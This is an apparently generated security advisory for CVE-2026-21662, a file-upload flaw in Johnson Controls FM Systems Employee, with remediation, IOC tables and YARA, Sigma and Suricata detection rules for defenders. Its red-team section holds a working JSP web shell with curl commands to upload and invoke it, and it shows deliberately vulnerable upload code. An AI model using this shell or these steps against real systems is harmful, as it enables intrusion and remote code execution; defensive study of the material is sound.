CVE-2026-21662
Executive Summary
CVE-2026-21662 affects Johnson Controls FM Systems Employee and is classified as an unrestricted upload of a file with a dangerous type, mapped to CWE-434. The application permits an attacker to upload malicious files, which can lead to remote code execution, web shell deployment, credential harvesting, and lateral movement inside a facilities management environment.
The affected versions are prior to 2025.3.1. The fixed release is 2025.3.1. NVD has assigned a CVSS score of 0.0, which should be interpreted as a missing or incomplete CVSS assessment rather than a confirmed low-risk finding. EPSS is also 0.0%, suggesting no observed exploitation in the wild at the time of analysis. However, CWE-434 is a high-impact weakness and should be treated as a priority for asset owners and incident responders.
This report provides technical mechanics, detection engineering content, exploitation guidance, and remediation steps for defenders.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
NVD currently reports:
- CVSS Score: 0.0
- CVSS Vector: UNKNOWN
- EPSS: 0.0%
The CVSS score of 0.0 is not a trustworthy indication of severity because no vector string has been provided. Attackers who can reach the vulnerable upload functionality and successfully place a server-side script will often achieve full web server code execution. In many cases, that leads directly to domain-adjacent compromise, cloud credential access, or ransomware deployment.
Estimated practical severity:
- Pre-auth exploitation: Critical
- Post-auth exploitation: High
- Exploit complexity: Low
- Impact: High confidentiality, integrity, and availability impact
The real risk can only be confirmed by Johnson Controls advisory information. Until then, assume the worst case and apply compensating controls.
Deep Dive & Mechanics
The vulnerability lives in the file upload feature of the FM Systems Employee portal. The application does not enforce a strict allowlist of safe file extensions or MIME types before storing the uploaded file.
A typical exploitation flow is:
- An attacker identifies an upload endpoint used by the Employee module.
- The upload handler receives the file and either:
- Does not check the extension.
- Relies only on client-supplied MIME type.
- Does not neutralize dangerous content inside file content.
- The attacker uploads a web shell with an executable extension, such as JSP, JSPX, ASPX, or PHP, depending on the underlying runtime.
- The web server stores the file inside a web-accessible directory.
- The attacker requests the uploaded file over HTTP.
- The server-side script executes with the privileges of the web application user.
- The attacker issues commands through HTTP parameters and establishes persistence.
Important details:
- Johnson Controls FM Systems Employee is not currently associated with a public exploit in Exploit-DB or a Nuclei template.
- There is no OSV or GitHub advisory data available for this CVE.
- The vulnerable component is the Employee web portal, not a WordPress plugin. Defenders should analyze the application by its own upload and authorization architecture.
- The exact authentication requirements are not stated in the original CVE description. Assume that any user capable of reaching the upload module, possibly unauthenticated, may be able to exploit it.
Vulnerable vs. Patched Code
No official source code diff is public. Below are conceptual examples of the vulnerable behavior and the fix that should be expected in version 2025.3.1.
Vulnerable Concept
@app.route("/employee/upload", methods=["POST"])
def upload():
uploaded = request.files.get("file")
filename = uploaded.filename
uploaded.save("/var/www/fm_employee/uploads/" + filename)
return "Upload successful"
Problems:
- No extension allowlist.
- No MIME type validation.
- No content inspection.
- File name is taken directly from the user.
- File is saved inside a directory served by the web application.
Patched Concept
ALLOWED_EXTENSIONS = {".pdf", ".docx", ".xlsx", ".png", ".jpg"}
def is_safe_upload(filename):
ext = os.path.splitext(filename)[1].lower()
return ext in ALLOWED_EXTENSIONS
@app.route("/employee/upload", methods=["POST"])
def upload_patched():
uploaded = request.files.get("file")
original = uploaded.filename
if not is_safe_upload(original):
return "File type not allowed", 400
safe_name = uuid.uuid4().hex + os.path.splitext(original)[1].lower()
uploaded.save("/data/secure_uploads/" + safe_name)
return "Upload successful"
The patched approach should:
- Allowlist safe extensions.
- Reject double extensions such as
.jsp.png. - Rename uploaded files to a random UUID.
- Store files outside the web root.
- Disable script execution in any file storage directory.
Exploitation & Lab Setup
Red Team
Use a disposable lab environment. Do not target production systems without written authorization. The goal is to validate CWE-434 and ensuing remote code execution.
Lab prerequisites:
- A deployed instance of FM Systems Employee prior to 2025.3.1.
- Isolated network segment.
- A controlled web server runtime.
- Attacker workstation with curl or Burp Suite.
- Snapshot capability before testing.
Red Team steps:
- Discover upload endpoints.
curl -k https://target/employee/upload -X OPTIONS
curl -k https://target/fm_systems/upload
Identify the application runtime by observing headers and error pages.
Upload a benign file and inspect the response location.
curl -k -X POST \
-F "file=@test.pdf;filename=test.pdf" \
-F "note=test" \
https://target/employee/upload
- Upload a web shell appropriate to the runtime. Example JSP shell:
<%
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
java.io.BufferedReader r = new java.io.BufferedReader(
new java.io.InputStreamReader(p.getInputStream()));
String line;
while ((line = r.readLine()) != null) out.println(line);
%>
- Upload the shell with an executable extension.
curl -k -X POST \
-F "file=@shell.jsp;filename=shell.jsp" \
-F "note=poc" \
https://target/employee/upload
- Locate and invoke the shell.
curl -k "https://target/uploads/shell.jsp?cmd=whoami"
If the response includes the web server user ID, remote code execution is confirmed.
Blue Team
Blue Team validation is essential for tuning detections and confirming incident response readiness.
Blue Team steps:
- Build the same vulnerable application in a sandbox.
- Generate baseline benign traffic by uploading PDF, DOCX, and XLSX files.
- Trigger the malicious web shell upload.
- Capture network traffic and web server access logs.
- Verify that YARA rules detect the shell on disk.
- Verify that Sigma rules detect web shell command execution.
- Verify that Suricata rules detect the malicious upload request.
- Monitor process tree behavior and look for
cmd.exe,powershell.exe,bash, or other shells spawned by the web server process.
Indicators of Compromise (IOCs)
No public exploit-specific IOCs are known for CVE-2026-21662. Defenders should hunt for the following behavioral indicators.
| IOC Type | Indicator | Description |
|---|---|---|
| Network | POST /employee/upload with filename=.jsp |
Direct web shell upload attempt |
| File | shell.jsp, cmd.aspx, backdoor.php |
Common web shell file names |
| File | Executable script inside upload directory | Unexpected .jsp, .jspx, .aspx, .php files in upload paths |
| Process | w3wp.exe, java.exe, or tomcat spawning cmd.exe or powershell.exe |
Remote code execution behavior |
| Network | Reverse connections from web server to attacker IP on ports 4444, 8443, or 8080 | Post-exploitation reverse shell |
| Account | Employee user performing anomalous uploads | Unusual account activity |
Detection Engineering
Use the following YARA, Sigma, and Suricata rules as a starting point. Tune them to your environment.
YARA Rule
rule CVE_2026_21662_FM_Employee_Webshell_Upload
{
meta:
description = "Detect suspicious web shell uploads related to CVE-2026-21662"
author = "Valters IT"
cve = "CVE-2026-21662"
strings:
$filename = "filename=" ascii wide
$jsp = ".jsp" ascii wide
$jspx = ".jspx" ascii wide
$aspx = ".aspx" ascii wide
$php = ".php" ascii wide
$exec = "Runtime.getRuntime().exec" ascii wide
condition:
filesize < 2MB and
(
($filename and any of ($jsp, $jspx, $aspx, $php)) or
$exec
)
}
Sigma Rule for IIS Web Server Uploads
title: CVE-2026-21662 - Suspicious File Upload to FM Systems Employee
id: 4c1b9c92-3a8f-4e70-b6a2-4b48b7f3d001
status: experimental
description: Detects HTTP POST requests to upload endpoints with executable file extensions.
logsource:
category: web_server
product: iis
detection:
selection_upload:
cs-method: POST
cs-uri-path|contains:
- /upload
- /employee
- /file
selection_extension:
cs-uri-query|contains:
- .jsp
- .jspx
- .aspx
- .php
condition: selection_upload and selection_extension
level: high
Sigma Rule for Web Shell Execution
title: CVE-2026-21662 - Web Shell Command Execution
id: 6f7a2a9e-3342-47b3-a7f3-08c918a7b002
status: experimental
description: Detects web server processes spawning command shells.
logsource:
category: process_creation
product: windows
detection:
selection_parent:
ParentImage|endswith:
- /w3wp.exe
- /java.exe
selection_child:
Image|endswith:
- /cmd.exe
- /powershell.exe
- /sh
condition: selection_parent and selection_child
level: critical
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-21662 Possible Web Shell Upload"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"upload"; http.request_body; content:"filename="; distance:0; content:".jsp"; within:100; sid:202621662; rev:1;)
The Suricata rule targets JSP payloads. To cover ASPX or PHP, add equivalent rules with .aspx or .php bodies.
Remediation & Mitigation
- Upgrade to Johnson Controls FM Systems Employee version 2025.3.1 or later. This is the primary remediation.
- If patching is not immediately possible, isolate the Employee portal from the rest of the corporate and building management network.
- Enforce an extension allowlist for all uploads.
- Reject double extensions, trailing spaces, and null-byte injection attempts.
- Store uploaded files outside of any directory served by the application runtime.
- Use a random UUID as the stored filename instead of the original filename.
- Disable script execution for upload directories using web server or application server security policies.
- Deploy a WAF rule to block POST requests containing executable file extensions in file upload fields.
- Monitor employee portal authentication logs and upload logs for suspicious activity.
- Apply the principle of least privilege to the application service account.
- Run regular file integrity monitoring on web roots and upload directories.
- Subscribe to Johnson Controls security advisories because the external OSV and GitHub advisory data is still incomplete.
Indicators of Compromise (IOCs)
The following values are placeholders and behavioral categories because no public exploit-db or C2 IOCs have been disclosed for CVE-2026-21662.
| Type | Indicator | Context |
|---|---|---|
| File | shell.jsp, cmd.aspx, backdoor.php |
Web shell names likely used by attackers |
| Network | POST /employee/upload containing .jsp or .aspx |
Upload attempt pattern |
| Process | w3wp.exe spawning cmd.exe |
Web shell command execution |
| Network | Egress connection from web server to port 4444 or 8443 | Reverse shell or C2 channel |
Review all upload-related events covered by the Detection Engineering rules above and correlate them with these IOCs.
Valters IT Signature
Report generated by Valters IT — DevSecOps and Cyber Threat Intelligence Team. Authorized security testing only.